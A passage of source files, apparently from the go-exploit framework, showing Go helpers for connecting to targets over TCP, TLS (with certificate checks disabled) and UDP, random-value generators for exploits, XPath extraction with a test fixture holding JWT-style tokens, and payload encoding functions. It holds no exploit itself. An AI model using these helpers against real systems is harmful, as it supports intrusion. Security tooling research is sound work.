*testing.T) { tests := []struct { input string expected TransportType }{ {"UDP", UDP}, {"udp", UDP}, {"TCP", TCP}, {"TLS", TLS}, {"invalid", UNKNOWN}, {"", UNKNOWN}, } for _, tt := range tests { t.Run(tt.input, func(t *testing.T) { result := ParseTransport(tt.input) if result != tt.expected { t.Fatalf("got %s, want %s", result, tt.expected) } }) } } func TestParseMethod(t *testing.T) { tests := []struct { input string expected sip.RequestMethod }{ {"INVITE", sip.INVITE}, {"invite", sip.INVITE}, {"ACK", sip.ACK}, {"BYE", sip.BYE}, {"CANCEL", sip.CANCEL}, {"REGISTER", sip.REGISTER}, {"OPTIONS", sip.OPTIONS}, {"SUBSCRIBE", sip.SUBSCRIBE}, {"NOTIFY", sip.NOTIFY}, {"REFER", sip.REFER}, {"PUBLISH", sip.PUBLISH}, {"MESSAGE", sip.MESSAGE}, {"INFO", sip.INFO}, {"PRACK", sip.PRACK}, {"UPDATE", sip.UPDATE}, {"invalid", ""}, {"", ""}, } for _, tt := range tests { t.Run(tt.input, func(t *testing.T) { result := ParseMethod(tt.input) if result != tt.expected { t.Fatalf("got %s, want %s", result, tt.expected) } }) } } ================================================ FILE: protocol/sip/user-agent.txt ================================================ Jitsi2.10.5550Mac OS X ================================================ FILE: protocol/tcpsocket.go ================================================ package protocol import ( "context" "crypto/tls" "fmt" "net" "os" "strings" "time" "golang.org/x/net/proxy" "github.com/vulncheck-oss/go-exploit/output" ) // Connections to the remote target with or without encryption depending on the ssl bool. func MixedConnect(host string, port int, ssl bool) (net.Conn, bool) { if ssl { return TLSConnect(host, port) } return TCPConnect(host, port) } // Connects to the remote target with encryption. func TLSConnect(host string, port int) (net.Conn, bool) { conn, ok := TCPConnect(host, port) if !ok { return nil, false } return tls.Client(conn, &tls.Config{InsecureSkipVerify: true}), true } // Connects to a remote target without encryption. func TCPConnect(host string, port int) (net.Conn, bool) { target := fmt.Sprintf("%s:%d", host, port) // do we need to use a proxy? envProxy := os.Getenv("ALL_PROXY") if strings.HasPrefix(envProxy, "socks5://") { dialer, err := proxy.SOCKS5("tcp", envProxy[len("socks5://"):], nil, proxy.Direct) if err != nil { output.PrintfFrameworkError("SOCKS5 error: %s", err.Error()) return nil, false } // timeout long hanging connections perHost := proxy.NewPerHost(dialer, proxy.Direct) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(GlobalCommTimeout)*time.Second) defer cancel() conn, err := perHost.DialContext(ctx, "tcp", target) if err != nil { output.PrintfFrameworkError("Connection failed: %s", err.Error()) return nil, false } return conn, true } // no proxy involved conn, err := net.DialTimeout("tcp", target, time.Duration(GlobalCommTimeout)*time.Second) if err != nil { output.PrintFrameworkError("Connection failed: " + err.Error()) return nil, false } return conn, true } // Write data to a TCP connection. func TCPWrite(conn net.Conn, data []byte) bool { written, err := conn.Write(data) if err != nil { output.PrintFrameworkError("Server write failed: " + err.Error()) return false } if written != len(data) { output.PrintFrameworkError("Failed to write all data") return false } return true } // Read a set amount of data from a TCP connection. func TCPReadAmount(conn net.Conn, amount int) ([]byte, bool) { reply := make([]byte, amount) totalRead := 0 // keep reading until we hit the desired amount (or an error occurs) for totalRead < amount { count, err := conn.Read(reply[totalRead:]) if err != nil { output.PrintFrameworkError("Failed to read from the socket: " + err.Error()) return nil, false } if count == 0 { output.PrintFrameworkError("Connection closed.") return nil, false } totalRead += count } return reply, true } // Read an amount and dont log errors if we fail to read from the socket. func TCPReadAmountBlind(conn net.Conn, amount int) ([]byte, bool) { reply := make([]byte, amount) totalRead := 0 // keep reading until we hit the desired amount (or an error occurs) for totalRead < amount { count, err := conn.Read(reply[totalRead:]) if err != nil { return nil, false } if count == 0 { return nil, false } totalRead += count } return reply, true } ================================================ FILE: protocol/udpsocket.go ================================================ package protocol import ( "net" "strconv" "github.com/vulncheck-oss/go-exploit/output" ) // Dial to a UDP network socket with resolution. func UDPConnect(host string, port int) (*net.UDPConn, bool) { target := host + ":" + strconv.Itoa(port) output.PrintfFrameworkStatus("Connecting to %s", target) udpAddr, err := net.ResolveUDPAddr("udp", target) if err != nil { output.PrintFrameworkError("ResolveUDPAddr failed: " + err.Error()) return nil, false } conn, err := net.DialUDP("udp", nil, udpAddr) if err != nil { output.PrintFrameworkError("Connection failed: " + err.Error()) return nil, false } return conn, true } // Write data to a UDP connection. func UDPWrite(conn *net.UDPConn, data []byte) bool { written, err := conn.Write(data) if err != nil { output.PrintFrameworkError("Server write failed: " + err.Error()) return false } if written != len(data) { output.PrintFrameworkError("Failed to write all data") return false } return true } // Read data from a UDP socket. func UDPReadAmount(conn *net.UDPConn, amount int) ([]byte, bool) { reply := make([]byte, amount) count, err := conn.Read(reply) if err != nil { output.PrintFrameworkError("Failed to read from the socket: " + err.Error()) return nil, false } if count != amount { output.PrintFrameworkError("Failed to read specified amount from the socket") return nil, false } return reply, true } ================================================ FILE: random/random.go ================================================ // Code for generating random data and helpers for common patterns for adding variableness to exploits. package random import ( "crypto/rand" "math/big" "net" "strings" "github.com/vulncheck-oss/go-exploit/output" ) var ( letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") hex = []rune("0123456789abcdef") digits = []rune("0123456789") ) // RandIntRange generates an `int` between [min,max). func RandIntRange(rangeMin int, rangeMax int) int { rangeMaxBig := big.NewInt(int64(rangeMax) - int64(rangeMin)) n, err := rand.Int(rand.Reader, rangeMaxBig) if err != nil { // if random fails the process will die anyway: https://github.com/golang/go/issues/66821 output.PrintfFrameworkError("Random generation error: %s", err.Error()) return 0 } return int(n.Int64() + int64(rangeMin)) } // RandPositiveInt generates a non-negative crypto-random number in the half-open interval [0,max). func RandPositiveInt(rangeMax int) int { n, err := rand.Int(rand.Reader, big.NewInt(int64(rangeMax))) if err != nil { // if random fails the process will die anyway: https://github.com/golang/go/issues/66821 output.PrintfFrameworkError("Random generation error: %s", err.Error()) return 0 } return int(n.Int64()) } // RandLetters generates a random alpha string of length n. func RandLetters(n int) string { runeSlice := make([]rune, n) for i := range runeSlice { runeSlice[i] = letters[RandPositiveInt(len(letters))] } return string(runeSlice) } // RandLettersNoBadChars generates a random alpha string with no bad chars of length n. // This will return an empty string if the caller badchars all "letters". func RandLettersNoBadChars(n int, badchars []rune) string { // rebuild the letters slice without the bad chars. O(n^2) implementation // not really sure it is worthwhile to get more fancy :shrug: var nobad []rune for _, letter := range letters { found := false for _, char := range badchars { if char == letter { found = true } } if !found { nobad = append(nobad, letter) } } if len(nobad) == 0 { return "" } runeSlice := make([]rune, n) for i := range runeSlice { runeSlice[i] = nobad[RandPositiveInt(len(nobad))] } return string(runeSlice) } // RandLettersRange generates a random alpha string of length [min,max). func RandLettersRange(rangeMin int, rangeMax int) string { return RandLetters(RandIntRange(rangeMin, rangeMax-1)) } // RandMAC generates a random MAC address and returns it. func RandMAC() string { parts := []string{} for range 6 { parts = append(parts, RandHex(2)) } return strings.Join(parts, ":") } // Generate a string of random hex characters of length n. func RandHex(n int) string { runeSlice := make([]rune, n) for i := range runeSlice { runeSlice[i] = hex[RandPositiveInt(len(hex))] } return string(runeSlice) } // RandHexRange generates a random hex string of length [min,max). func RandHexRange(rangeMin int, rangeMax int) string { return RandHex(RandIntRange(rangeMin, rangeMax-1)) } // Generate a string of random digits. func RandDigits(n int) string { runeSlice := make([]rune, n) for i := range runeSlice { runeSlice[i] = digits[RandPositiveInt(len(digits))] } // keep assigning a new digit until the first one isn't 0' if len(runeSlice) > 0 { for runeSlice[0] == '0' { runeSlice[0] = digits[RandPositiveInt(len(digits))] } } return string(runeSlice) } // RandDigitsRange generates a random numeric string of length [min,max). func RandDigitsRange(rangeMin int, rangeMax int) string { return RandDigits(RandIntRange(rangeMin, rangeMax)) } // RandDomain generates a random domain name with a common TLDs. The domain will be between 8 and 14 characters. func RandDomain() string { return strings.ToLower(RandLettersRange(4, 10) + "." + CommonTLDs[RandPositiveInt(len(CommonTLDs))]) } // RandEmail generates a random email address using common domain TLDs. The largest size of the // generated domain will be 23 characters and smallest will be 13 characters. The goal is not to // generate a set of RFC valid domains, but simple lower case emails that are valid for most // automated account registration or usage, so these might be "too simple" or for some uses. func RandEmail() string { return strings.ToLower(RandLettersRange(4, 8) + "@" + RandDomain()) } // CommonTLDs contains the 3 most common DNS TLDs. var CommonTLDs = []string{ "com", "org", "net", } // RandIPv4 generates a random IPv4 address. func RandIPv4() net.IP { return net.IPv4( byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), ) } // RandIPv4Private Generates a random private IPv4 address. func RandIPv4Private() net.IP { n, _ := rand.Int(rand.Reader, big.NewInt(3)) switch n.Int64() { case 0: return net.IPv4( 10, byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), ) case 1: return net.IPv4( 172, byte(RandIntRange(16, 32)), byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), ) default: return net.IPv4( 192, 168, byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), ) } } // RandomIPv4Loopback generates IPv4 Loopback address. func RandIPv4Loopback() net.IP { return net.IPv4( 127, byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), byte(RandIntRange(1, 256)), ) } // RandIPv6 generates a random IPv6 address. func RandIPv6() net.IP { ip := make(net.IP, net.IPv6len) for i := range net.IPv6len { ip[i] = byte(RandIntRange(1, 256)) } return ip } ================================================ FILE: random/random_test.go ================================================ package random import ( "net" "strings" "testing" ) func Test_RandPositiveInt(t *testing.T) { integer := RandPositiveInt(10) if integer > 10 { t.Error("Integer larger than 10") } if integer < 0 { t.Error("Positive integer less than 0") } } func Test_RandIntRange(t *testing.T) { integer := RandIntRange(-2, 10) if integer > 10 { t.Error("Integer larger than 10") } if integer < -2 { t.Error("Integer less than -2") } } func Test_RandLetters(t *testing.T) { letters := RandLetters(8) if len(letters) != 8 { t.Error("Failed to generate an 8 char string") } letters = RandLetters(1) if len(letters) != 1 { t.Error("Failed to generate a 1 char string") } letters = RandLetters(0) if len(letters) != 0 { t.Error("Failed to generate a 0 char string") } letters = RandLetters(64) if len(letters) != 64 { t.Error("Failed to generate a 64 char string") } for _, value := range letters { if (int(value) < 65 || int(value) > 90) && (int(value) < 97 || int(value) > 122) { t.Error("RandLetters used value outside of ascii letter ranges.") } } } func Test_RandLettersNoBadChars(t *testing.T) { // loop 100 times generating random letter strings and ensure // they don't contain a bad value. for range 100 { letters := RandLettersNoBadChars(12, []rune("abcd")) if len(letters) == 0 { t.Error("RandLettersNoBadChars created an empty string") } for _, value := range letters { if value == 'a' || value == 'b' || value == 'c' || value == 'd' { t.Error("Created a string with a badchar: " + letters) } } } } func Test_RandDigits(t *testing.T) { digits := RandDigits(8) if len(digits) != 8 { t.Error("Failed to generate an 8 char string") } if digits[0] == '0' { t.Error("Created a digit string that starts with zero") } for _, value := range digits { if int(value) < 48 || int(value) > 57 { t.Error("RandDigits used value outside of ascii digit ranges.") } } } func Test_RandHex(t *testing.T) { hex := RandHex(8) if len(hex) != 8 { t.Error("Failed to generate an 8 char string") } for _, value := range hex { if (int(value) < 48 || int(value) > 57) && (int(value) < 97 || int(value) > 102) { t.Error("RandHex used value outside of ascii hex ranges: " + string(value)) } } } func Test_RandLettersRange(t *testing.T) { letters := RandLettersRange(2, 10) if len(letters) < 2 || len(letters) >= 10 { t.Error("Created a string outside of the [2,10) range") } for _, value := range letters { if (int(value) < 65 || int(value) > 90) && (int(value) < 97 || int(value) > 122) { t.Error("RandLettersRange used value outside of ascii letter ranges.") } } } func Test_RandHexRange(t *testing.T) { hex := RandHexRange(2, 10) if len(hex) < 2 || len(hex) >= 10 { t.Error("Created a string outside of the [2,10) range") } for _, value := range hex { if (int(value) < 48 || int(value) > 57) && (int(value) < 97 || int(value) > 102) { t.Error("RandHex used value outside of ascii hex ranges: " + string(value)) } } } func Test_RandDigitsRange(t *testing.T) { digits := RandDigitsRange(2, 10) if len(digits) < 2 || len(digits) >= 10 { t.Error("Created a string outside of the [2,10) range") } if digits[0] == '0' { t.Error("Created a digit string that starts with zero") } for _, value := range digits { if int(value) < 48 || int(value) > 57 { t.Error("RandDigits used value outside of ascii digit ranges.") } } } func Test_RandDomain(t *testing.T) { for range 100 { r := RandDomain() if len(r) > 14 || len(r) < 8 { t.Error("Domain generated with an unexpected length: " + r) } if !strings.Contains(r, ".") { t.Error("Domain generated without expected characters: " + r) } } } func Test_RandMAC(t *testing.T) { for range 100 { r := RandMAC() if len(r) != 17 { t.Error("Mac address generated with an unexpected length: " + r) } if !strings.Contains(r, ":") { t.Error("Mac address generated without expected characters: " + r) } } } func Test_RandEmail(t *testing.T) { for range 100 { r := RandEmail() if len(r) > 23 || len(r) < 13 { t.Error("Domain generated with an unexpected length: " + r) } if !strings.Contains(r, ".") { t.Error("Domain generated without expected characters: " + r) } } } func TestRandIPv4(t *testing.T) { for range 100 { r := RandIPv4() parsed := net.ParseIP(r.String()) if parsed == nil { t.Error("Generated IP is nil: " + r.String()) } if parsed.To4() == nil { t.Error("Generated IP is not a valid IPv4 address: " + r.String()) } } } func TestRandIPv6(t *testing.T) { for range 100 { r := RandIPv6() parsed := net.ParseIP(r.String()) if parsed == nil { t.Error("Generated IP is nil: " + r.String()) } if parsed.To4() != nil { t.Error("Generated IP is not a valid IPv6 address: " + r.String()) } } } func TestRandIPv4Private(t *testing.T) { for range 100 { r := RandIPv4Private() parsed := net.ParseIP(r.String()) if parsed == nil { t.Error("Generated IP is nil: " + r.String()) } if parsed.To4() == nil { t.Error("Generated IP is not a valid IPv4 address: " + r.String()) } // Check if the IP is private isPrivate := r.IsPrivate() if !isPrivate { t.Error("Generated IP is not in a private range: " + r.String()) } } } func TestRandIPv4Loopback(t *testing.T) { for range 5 { r := RandIPv4Loopback() parsed := net.ParseIP(r.String()) if parsed == nil { t.Error("Generated IP is nil: " + r.String()) } if parsed.To4() == nil { t.Error("Generated IP is not a valid IPv4 address: " + r.String()) } // Check if the IP is loopback isLoopback := r.IsLoopback() if !isLoopback { t.Error("Generated IP is not the expected loopback address:" + r.String()) } } } ================================================ FILE: search/search_test.go ================================================ package search_test import ( "testing" "github.com/vulncheck-oss/go-exploit/search" ) var htmlTestOIDC = ` ` func TestCheckSemVer_Full(t *testing.T) { if !search.CheckSemVer("1.0.0", "<= 1.0.0") { t.Error("Constraint should have passed") } if search.CheckSemVer("1.0.0", "> 1.0.0") { t.Error("Constraint should not have passed") } } func TestCheckSemVer_BadVersion(t *testing.T) { if search.CheckSemVer("uwu", "<= 1.0.0") { t.Error("Version was invalid, should not have passed") } if search.CheckSemVer("1.0.0 ", "<= 1.0.0") { t.Error("Version was invalid, should not have passed") } } func TestCheckSemVer_BadConstraint(t *testing.T) { if search.CheckSemVer("1.0.0", "<== 1.0.0") { t.Error("Constraint was invalid, should not have passed") } if search.CheckSemVer("1.0.0", "xp") { t.Error("Constraint was invalid, should not have passed") } } func TestXPath_Node(t *testing.T) { c, ok := search.XPath(htmlTestOIDC, `//script`) if !ok { t.Error("Could not find HTML attribute") } if c != `window.addEventListener('load', function(){document.forms[0].submit();});` { t.Error("XPath node value did not match") } } func TestXPath_NodeMultiple(t *testing.T) { c, ok := search.XPath(htmlTestOIDC, `//input/@value`) if !ok { t.Error("Could not find HTML attribute") } if c != `23431FCD6CA15658D8267B3A8013D2F013AA32CF38B20E59EA9C1529DFAF44FD-1` { t.Error("XPath node value did not match") } } func TestXPathAll_NodeMultiple(t *testing.T) { c, ok := search.XPathAll(htmlTestOIDC, `//input/@value`) if !ok { t.Error("Could not find HTML attribute") } if len(c) != 8 { t.Error("Unexpected amount of matched nodes") } } func TestXPath_Attributes(t *testing.T) { var c string var ok bool c, ok = search.XPath(htmlTestOIDC, `//input[@name="code"]/@value`) if !ok { t.Error("Could not find HTML attribute") } if c != `23431FCD6CA15658D8267B3A8013D2F013AA32CF38B20E59EA9C1529DFAF44FD-1` { t.Error("XPath `code` did not match") } c, ok = search.XPath(htmlTestOIDC, `//input[@name="id_token"]/@value`) if !ok { t.Error("Could not find HTML attribute") } if c != `eyJhbGciOiJSUzI1NiIsImtpZCI6IjI4OEI4MEQ5RDMzRDZDNkY2MDgzMjY2MENCMzdEREJCRDdGNDFFMjVSUzI1NiIsIng1dCI6IktJdUEyZE05Ykc5Z2d5Wmd5emZkdTlmMEhpVSIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL3hwMC5pZGVudGl0eXNlcnZlciIsIm5iZiI6MTc1MDcxOTYzMywiaWF0IjoxNzUwNzE5NjMzLCJleHAiOjE3NTA3MjExMzMsImF1ZCI6IlNpdGVjb3JlIiwiYW1yIjpbInB3ZCJdLCJub25jZSI6IjYzODg2MzE0ODM4NzM0MDYwMy5ZVFl3TnpFMk5UZ3RNR1V3WXkwMFl6TXpMVGcwTURZdE1tVXdZVFJqT1dJNFlUVTNZbVZoWkdNM05qSXRNamRrWVMwMFlUWmlMV0V3TXprdE1qYzJNRFU0T1dObU1UZzEiLCJhdF9oYXNoIjoiTlFnT0xERm5EQWZCYXJ3RS1hQzIzQSIsImNfaGFzaCI6IlZRdVhKZ1hsdE8zUlZYWXFWZnJ4V1EiLCJzaWQiOiJFOTU2RjYyNEFEMUNDMjVGQUY1MEM4NjNDNEEzQ0ZBQSIsInN1YiI6IjQ4MjZkOGY3NTZkNDQ1ZGM5YTE5MmE5MzVhYjA4MjQ4IiwiYXV0aF90aW1lIjoxNzUwNzE5NDkwLCJpZHAiOiJsb2NhbCJ9.QJTHf8jiXVkVY95NS_pV2dZcbFuohQyQNEIU7MM4VPxFNTN7toAoOGLCMuncGJHfHu2IA0lnj0OMK11eS-4ONiJ4Qzq08M2hP-5kv0XFiSgJeoAG-8AEEzTdO6Ag_IznEpStKmGxoq7ojrDUZrsgg5e7FSxnJiFtWinvUJrGvrjQ0XIvMMMTLgxlXlSXf3dy6t93Kge8CI3tVUKqfQ_EfTxf7CJ2dm2vcDgRxDj0qc7edIuSq9_w55Aj6o0mToNfyqlhx3q8emSfQSutGj4Hp3zHYWeoD6OhrHhn5lB1OJ4Jq8zvh_SUC5pL1mCpTL7C2crlvywQBTYCv4smaxLz1Q` { t.Error("XPath `id_token` did not match") } c, ok = search.XPath(htmlTestOIDC, `//input[@name="access_token"]/@value`) if !ok { t.Error("Could not find HTML attribute") } if c != `eyJhbGciOiJSUzI1NiIsImtpZCI6IjI4OEI4MEQ5RDMzRDZDNkY2MDgzMjY2MENCMzdEREJCRDdGNDFFMjVSUzI1NiIsIng1dCI6IktJdUEyZE05Ykc5Z2d5Wmd5emZkdTlmMEhpVSIsInR5cCI6ImF0K2p3dCJ9.eyJpc3MiOiJodHRwczovL3hwMC5pZGVudGl0eXNlcnZlciIsIm5iZiI6MTc1MDcxOTYzMywiaWF0IjoxNzUwNzE5NjMzLCJleHAiOjE3NTA3MjMyMzMsImF1ZCI6Imh0dHBzOi8veHAwLmlkZW50aXR5c2VydmVyL3Jlc291cmNlcyIsInNjb3BlIjpbIm9wZW5pZCIsInNpdGVjb3JlLnByb2ZpbGUiXSwiYW1yIjpbInB3ZCJdLCJjbGllbnRfaWQiOiJTaXRlY29yZSIsInN1YiI6IjQ4MjZkOGY3NTZkNDQ1ZGM5YTE5MmE5MzVhYjA4MjQ4IiwiYXV0aF90aW1lIjoxNzUwNzE5NDkwLCJpZHAiOiJsb2NhbCIsInNpZCI6IkU5NTZGNjI0QUQxQ0MyNUZBRjUwQzg2M0M0QTNDRkFBIiwianRpIjoiMjcxMEY1MDRBMTZBMjY1OUVDNUQzMDhDQ0RFQUM2RDgifQ.KRYVImxWFfCG482guoXBi86EuirC6g4HuqZP4mJrug0Z7fTgnXL6RuDkJ-AwR3ok9o5kDI71y5Eo7IVx50VQnhvsgeelHIF_XN1_oOrPg3wB5Aj7VWSiimHEAb1Nf5iMDzZJVMeyiRKcv-AYizR7b9dpePoQNb6xiRHClELWK5_gS1sLh28matOhvnB9aYte2ycdUxMbcwi8TaKPtrvFitp4LSmQbJXDfAAV3KId2OwJ8t6Y3LN8PxPMMjG1y1wl3fI1o-y09X9mQ-9UPnNTViyPMy9Q-TP9GzirEro6TlK2i0lkeuaFldsfVT0I-xGCrECKT0yXF4YkYESG5pY2sg` { t.Error("XPath `access_token` did not match") } } ================================================ FILE: search/semver.go ================================================ // Data searching and version checking shared code package search import ( "github.com/Masterminds/semver" "github.com/vulncheck-oss/go-exploit/output" ) // Compare a version to a semantic version constraint using the [Masterminds semver constraints](https://github.com/Masterminds/semver?tab=readme-ov-file#checking-version-constraints). // Provide a version string and a constraint and if the semver is within the constraint a boolean // response of whether the version is constrained or not will occur. Any errors from the constraint // or version will propagate through the framework errors and the value will be false. func CheckSemVer(version string, constraint string) bool { c, err := semver.NewConstraint(constraint) if err != nil { output.PrintfFrameworkError("Invalid constraint: %s", err.Error()) return false } v, err := semver.NewVersion(version) if err != nil { output.PrintfFrameworkError("Invalid version: %s", err.Error()) return false } return c.Check(v) } ================================================ FILE: search/xpath.go ================================================ package search import ( "strings" "github.com/antchfx/htmlquery" "github.com/vulncheck-oss/go-exploit/output" ) // XPath returns a single HTML XPath match inner text, allowing the extraction of HTML nodes and // attributes. This is useful in situations where you might reach for regular expressions, but want // to have a bit more reliability if the HTML document is consistent. The function will return an // empty string and false boolean if the HTML node cannot be found or the XPath query is invalid, // the latter of which should only occur during development. func XPath(document, path string) (string, bool) { doc, err := htmlquery.Parse(strings.NewReader(document)) if err != nil { output.PrintfFrameworkError("Could not parse HTML document: %s", err.Error()) return "", false } n := htmlquery.FindOne(doc, path) if n == nil { output.PrintfFrameworkError("Could not find HTML node") return "", false } return htmlquery.InnerText(n), true } // XPathAll returns all matched HTML XPath match inner text. This can be used in scenarios that it // is necessary to extract multiple values from matching HTML documents. func XPathAll(document, path string) ([]string, bool) { matches := []string{} doc, err := htmlquery.Parse(strings.NewReader(document)) if err != nil { output.PrintfFrameworkError("Could not parse HTML document: %s", err.Error()) return []string{}, false } n := htmlquery.Find(doc, path) if n == nil { output.PrintfFrameworkError("Could not find any HTML node") return []string{}, false } for _, d := range n { matches = append(matches, htmlquery.InnerText(d)) } return matches, true } ================================================ FILE: transform/encode.go ================================================ package transform import ( "bytes" "compress/gzip" "encoding/base64" "encoding/binary" "io" "slices" "strconv" "strings" "unicode/utf16" "golang.org/x/text/cases" "golang.org/x/text/language" "github.com/vulncheck-oss/go-exploit/output" ) func StringToUnicodeByteArray(s string) []byte { //nolint:prealloc var byteArray []byte for _, r := range utf16.Encode([]rune(s)) { byteArray = append(byteArray, byte(r&0xFF), byte(r>>8&0xFF)) } return byteArray } // Given gzip encoded data, return the decompressed data. func Inflate(compressed []byte) ([]byte, bool) { reader, err := gzip.NewReader(bytes.NewBuffer(compressed)) if err != nil { output.PrintFrameworkError(err.Error()) return []byte{}, false } defer reader.Close() inflated, err := io.ReadAll(reader) if err != nil { output.PrintFrameworkError(err.Error()) return []byte{}, false } return inflated, true } // EncodeBase64 uses standard format non-URL safe base64 encoding to encode a string. func EncodeBase64(s string) string { return base64.StdEncoding.EncodeToString([]byte(s)) } // EncodeBase64URL encodes to URL safe base64 with padding. func EncodeBase64URL(s string) string { return base64.URLEncoding.EncodeToString([]byte(s)) } // Base64 encodes some input using the format expected by GWT-RPC. func EncodeBase64GWTRPC(s string) string { encodedInput := EncodeBase64(s) encodedInput = strings.ReplaceAll(encodedInput, "+", "$") return strings.ReplaceAll(encodedInput, "/", "_") } // EncodeBase64Chunks creates a slice of maxiumum size base64 strings, where the maxChunkSize is // the calculated base64 chunk size and not of the original data. This is useful when you know you // need to send some data in a chunked manner and the target contains a data size restriction, but // you do not want to guess at the size of encoded data. // // If a chunk size maximum is requested that is larger than the encoded string will be the only // chunk. func EncodeBase64Chunks(s string, maxChunkSize uint) []string { // An example helps demonstrate why this is useful. Take the following string: // // 1234567890123456789012345678901234567890 // // If you need to send this data to a target and the target limits you to 10 bytes of // base64 data, you cannot just split the string of base64 if the parser is strict, and you // also can't just split the raw data before encoding in a predictable manner due to // padding. For example: // // $ printf '1234567890' | base64 -w0 | wc -c // 16 // // 1/3 is often stated, but misses padding, as you can see in the 10-10/3 example: // // $ printf '1234567' | base64 -w0 | wc -c // 12 // // The optimal size is actually to ensure the block smaller fits, which 1234, 12345, and // 123456 all fit into. This means the optimal fit for the first block to use the most // space possible is 123456: // // $ printf '123456' | base64 -w0 | wc -c // 8 // // While the n/3-1 rule works for most cases of pre-base64 encoded data, there is the need // to ensure you minimize requests by figuring out what the best block size is. That's what // all *this* (hand waving) does. // corner case, fail exit early if len(s) == 0 { return []string{} } // calculate the maximum base64 size with padding maxSize := func(n int) int { return (((4 * n / 3) + 3) & ^3) } // start with a chunk size that is 2/3 the size and subtract one, this normally gives the // closest fit, but because of "computer numbers" rounding can be iffy so this ensures that // the chunk size calculation iterates to the best block size. chunkSize := (len(s) / int(maxChunkSize)) - (len(s) / int(maxChunkSize) / 3) - 1 for { if maxSize(chunkSize) > int(maxChunkSize) { chunkSize-- break } chunkSize++ } chunks := []string{} for c := range slices.Chunk([]byte(s), chunkSize) { chunks = append(chunks, base64.StdEncoding.EncodeToString(c)) } return chunks } // DecodeBase64 decodes base64 with standard encoding. func DecodeBase64(s string) string { decoded, err := base64.StdEncoding.DecodeString(s) if err != nil { output.PrintFrameworkError(err.Error()) return "" } return string(decoded) } // DecodeBase64URL decodes URL safe base64 variant. func DecodeBase64URL(s string) string { // Internally uses the non-padded version for decoding so this will allow forcing padded // data to be non-padded and support both transparently. s = strings.ReplaceAll(s, `=`, ``) decoded, err := base64.RawURLEncoding.DecodeString(s) if err != nil { output.PrintFrameworkError(err.Error()) return "" } return string(decoded) } // Reimplement the strings.Title functionality func Title(s string) string { return cases.Title(language.Und, cases.NoLower).String(s) } // URL encode every character in the provided string. func URLEncodeString(inputString string) string { encodedChars := "" for _, char := range inputString { encodedChars += "%" + strconv.FormatInt(int64(char), 16) } return encodedChars } // PackLittleInt16 packs a little-endian 16-bit integer as a string. func PackLittleInt16(n int) string { var packed strings.Builder err := binary.Write(&packed, binary.LittleEndian, int16(n)) if err != nil { output.PrintFrameworkError(err.Error()) } return packed.String() } // PackLittleInt32 packs a little-endian 32-bit integer as a string. func PackLittleInt32(n int) string { var packed strings.Builder err := binary.Write(&packed, binary.LittleEndian, int32(n)) if err != nil { output.PrintFrameworkError(err.Error()) } return packed.String() } // PackLittleInt64 packs a little-endian 64-bit integer as a string. func PackLittleInt64(n int) string { var packed strings.Builder err := binary.Write(&packed, binary.LittleEndian, int64(n)) if err != nil { output.PrintFrameworkError(err.Error()) } return packed.String() } // PackBigInt16 packs a big-endian 16-bit integer as a string. func PackBigInt16(n int) string { var packed strings.Builder err := binary.Write(&packed, binary.BigEndian, int16(n)) if err != nil { output.PrintFrameworkError(err.Error()) } return packed.String() } // PackBigInt32 packs a big-endian 32-bit integer as a string. func PackBigInt32(n int) string { var packed strings.Builder err := binary.Write(&packed, binary.BigEndian, int32(n)) if err != nil { output.PrintFrameworkError(err.Error()) } return packed.String() } // PackBigInt64 packs a big-endian 64-bit integer as a string. func PackBigInt64(n int) string { var packed strings.Builder err := binary.Write(&packed, binary.BigEndian, int64(n)) if err != nil { output.PrintFrameworkError(err.Error()) } return packed.String() } // PackBigFloat32 packs a 32 bit float as a string. func PackBigFloat32(f float32) string { var packed bytes.Buffer _ = binary.Write(&packed, binary.BigEndian, f) return packed.String() } ================================================ FILE: transform/encode_test.go ================================================ package transform import ( "testing" ) const ( urlTestString = "Theskyabovetheportwasthecoloroftelevision,tunedtoadeadchannel.\xff\xff\xff\x3e\xfe\x00" ) func TestURLEncodeString(t *testing.T) { encoded := URLEncodeString("foo !~") if encoded != "%66%6f%6f%20%21%7e" { t.Fatal(encoded) } t.Log(encoded) } func TestEncodeBase64(t *testing.T) { encoded := EncodeBase64("foo") if encoded != "Zm9v" { t.Fatal(encoded) } t.Log(encoded) } func TestEncodeBase64Chunks(t *testing.T) { chunks := EncodeBase64Chunks("1234567890123456789012345678901234567890", 10) expected := []string{"MTIzNDU2", "Nzg5MDEy", "MzQ1Njc4", "OTAxMjM0", "NTY3ODkw", "MTIzNDU2", "Nzg5MA=="} for i, c := range chunks { if c != expected[i] { t.Fatal(chunks) } } t.Log(chunks) chunks = EncodeBase64Chunks("1234567890123456789012345678901234567890", 12) expected = []string{"MTIzNDU2Nzg5", "MDEyMzQ1Njc4", "OTAxMjM0NTY3", "ODkwMTIzNDU2", "Nzg5MA=="} for i, c := range chunks { if c != expected[i] { t.Fatal(chunks) } } t.Log(chunks) chunks = EncodeBase64Chunks("1234567890123456789012345678901234567890", 13) for i, c := range chunks { if c != expected[i] { t.Fatal(chunks) } } t.Log(chunks) } func TestEncodeBase64Chunks_EmptyString(t *testing.T) { chunks := EncodeBase64Chunks("", 10) if len(chunks) != 0 { t.Fatal(len("")) } } func TestEncodeBase64Chunks_SmallerThanMaxsize(t *testing.T) { chunks := EncodeBase64Chunks("a", 10) if chunks[0] != "YQ==" || len(chunks) != 1 { t.Fatal(chunks) } t.Log(chunks) } func TestEncodeBase64URL(t *testing.T) { encoded := EncodeBase64URL(urlTestString) if encoded != "VGhlc2t5YWJvdmV0aGVwb3J0d2FzdGhlY29sb3JvZnRlbGV2aXNpb24sdHVuZWR0b2FkZWFkY2hhbm5lbC7___8-_gA=" { t.Fatal(encoded) } t.Log(encoded) } func TestDecodeBase64URL(t *testing.T) { decoded := DecodeBase64URL("VGhlc2t5YWJvdmV0aGVwb3J0d2FzdGhlY29sb3JvZnRlbGV2aXNpb24sdHVuZWR0b2FkZWFkY2hhbm5lbC7___8-_gA=") if decoded != urlTestString { t.Fatal(decoded) } t.Log(decoded) } func TestDecodeBase64URL_NoPad(t 